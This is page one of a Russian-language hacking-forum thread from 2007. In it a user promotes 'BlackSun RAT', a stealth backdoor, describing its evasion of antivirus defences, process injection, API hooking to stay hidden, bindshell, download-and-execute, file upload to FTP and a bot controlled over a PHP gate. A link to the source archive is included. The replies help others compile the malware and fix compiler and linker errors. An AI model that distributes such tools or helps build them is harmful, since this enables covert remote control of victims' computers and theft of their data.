FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Безопасность и Анонимность > Защита ОС: вирусы, антивирусы, файрволы.
BlackSun RAT v1.0 by Cytech

Страница 1 из 4

Опции темы

Поиск в этой теме

Опции просмотра

BlackSun RAT v1.0 by Cytech

11.06.2007, 02:00

ShadOS

Регистрация: 11.02.2007

Сообщений: 750

Провел на форуме:
1347723

Репутация: 1477

BlackSun RAT v1.0 by Cytech

поздновато выкладываю, но всё же дабы было достоянием общественности:

Цитата:

BlackSun RAT v1.0 prebeta by Cytech
- продвинутая система удаленного администратирования. При запуске прописывается в автозагрузку и восстанавливает таблицу системных сервисов (SST) для обхода проактивных защит контролирующих process-injection. Затем инжектирует себя во все процессы и перехывает в них некоторые API-функции для сокрытия в системе методом модификации таблицы импорта (IAT-hooking). Работает в контексте заданного процесса (по дефолту explorer.exe). После чего слушает порт (по дефолту 2121) для подключений. Сервер поддерживает множество команд:
- Выполнение команд через cmd.exe
- Скрытый/видимый запуск через WinExec
- Скачка файла по HTTP-протоколу
- Закачка файла с компьютера на FTP-протокол
- Привзяка cmd.exe к заданному порту (bindshell)
- Управление питанием (выключить/перезагрузить/заснуть/встать)
- Самоуничтожение
- Завершение работы
- а также приблуды вроде открывания/закрывания CD-ROM, включения/выключения монитора и т.д. Встроен HTTP-бот, который отстукивает на статистику и получает команду на скачку и запуск заданного файла. Причем HTTP-бот работает полностью распределенно, то есть каждому боту можно выставить свою собственную команду.
Бэкдор управляется полностью через PHP-гейт. В итоге полностью невидимы файлы, ключи в реестре, процесс.
Подробнее внутри.

http://hellknights.void.ru/
http://hellknights.void.ru/releases/0x48k-blacksun-rcs-v10prebeta.rar

__________________
..когда же кто-нибудь выпустит MD5(Unix) брутер на GPU.... жду....

11.06.2007, 10:09

Alexsize

Fail

Регистрация: 17.09.2005

Сообщений: 2,242

Провел на форуме:
9089375

Репутация: 4268

Давно их смотрел. Очень познавательно и интересно, НО не компилиться. Ругаеться на недостаток H файла.

__________________
...

11.06.2007, 20:44

ShadOS

Регистрация: 11.02.2007

Сообщений: 750

Провел на форуме:
1347723

Репутация: 1477

Цитата:

Сообщение от Alexsize

Давно их смотрел. Очень познавательно и интересно, НО не компилиться. Ругаеться на недостаток H файла.

Какого именно хедера там не хватает? Если что я могу с Сайтексом сконтактировать, если сам не разберусь.

__________________
..когда же кто-нибудь выпустит MD5(Unix) брутер на GPU.... жду....

11.06.2007, 21:08

Alexsize

Fail

Регистрация: 17.09.2005

Сообщений: 2,242

Провел на форуме:
9089375

Репутация: 4268

Error 1 fatal error C1010: unexpected end of file while looking for precompiled header. Did you forget to add '#include "stdafx.h"' to your source?

__________________
...

11.06.2007, 21:16

ShadOS

Регистрация: 11.02.2007

Сообщений: 750

Провел на форуме:
1347723

Репутация: 1477

Цитата:

Сообщение от Alexsize

Error 1 fatal error C1010: unexpected end of file while looking for precompiled header. Did you forget to add '#include "stdafx.h"' to your source?

Скорее всего ты пытаешься собрать его в MSVC, что в корне неверно т.к. в readme автор совершенно чётко написал что собирать надо в компиляторе lcc. У меня собирается без проблем. lcc можно скачать здесь:
http://www.cs.virginia.edu/~lcc-win32/

__________________
..когда же кто-нибудь выпустит MD5(Unix) брутер на GPU.... жду....

14.06.2007, 14:55

Zliden

Познающий

Регистрация: 07.02.2007

Сообщений: 39

Провел на форуме:
183700

Репутация: 73

Цитата:

Сообщение от ShadOS

Скачал я оттуда компилятор, не выходит все равно

а где найти тот, что автор юзал?
или подскажите как скомпилить норм.

17.06.2007, 01:30

razzzar

Участник форума

Регистрация: 16.06.2007

Сообщений: 107

Провел на форуме:
725870

Репутация: 208

пытался скомпилировать через cl.exe:

Код:

LIBC.lib(chkstk.obj) : error LNK2005: __chkstk already defined in ntdll.lib(ntdll.dll)
blacksun.exe : fatal error LNK1169: one or more multiply defined symbols found

кто может подсказать как это исправить?

18.06.2007, 14:23

ShadOS

Регистрация: 11.02.2007

Сообщений: 750

Провел на форуме:
1347723

Репутация: 1477

Цитата:

Сообщение от razzzar

пытался скомпилировать через cl.exe:

Код:

LIBC.lib(chkstk.obj) : error LNK2005: __chkstk already defined in ntdll.lib(ntdll.dll)
blacksun.exe : fatal error LNK1169: one or more multiply defined symbols found

кто может подсказать как это исправить?

Найди это объявление в исходниках RAT.

__________________
..когда же кто-нибудь выпустит MD5(Unix) брутер на GPU.... жду....

11.06.2007, 21:36

Alexsize

Fail

Регистрация: 17.09.2005

Сообщений: 2,242

Провел на форуме:
9089375

Репутация: 4268

Окей. Спасибо. Я действительно собирал у мелкомягких.

Вот выдержка из ридми кстати:

Сначало необходимо поправить конфигурационные файлы: conf.h (бэкдор) и conf.php (гейт).
Затем компилируем (у меня Microsoft (R) 32-bit C/C++ Standard Compiler Version 12.00.8168)

__________________
...

#10

12.06.2007, 00:46

ShadOS

Регистрация: 11.02.2007

Сообщений: 750

Провел на форуме:
1347723

Репутация: 1477

Цитата:

Сообщение от Alexsize

OK, так тоже можно.

__________________
..когда же кто-нибудь выпустит MD5(Unix) брутер на GPU.... жду....

Страница 1 из 4

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Порты троянов	bxN5	Защита ОС: вирусы, антивирусы, файрволы.	4	06.05.2006 22:03
HBT Msn Tools v1.0	BLaCKWHITE	Forum for discussion of ANTICHAT	3	14.04.2006 23:14

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home

Help

Terms and Rules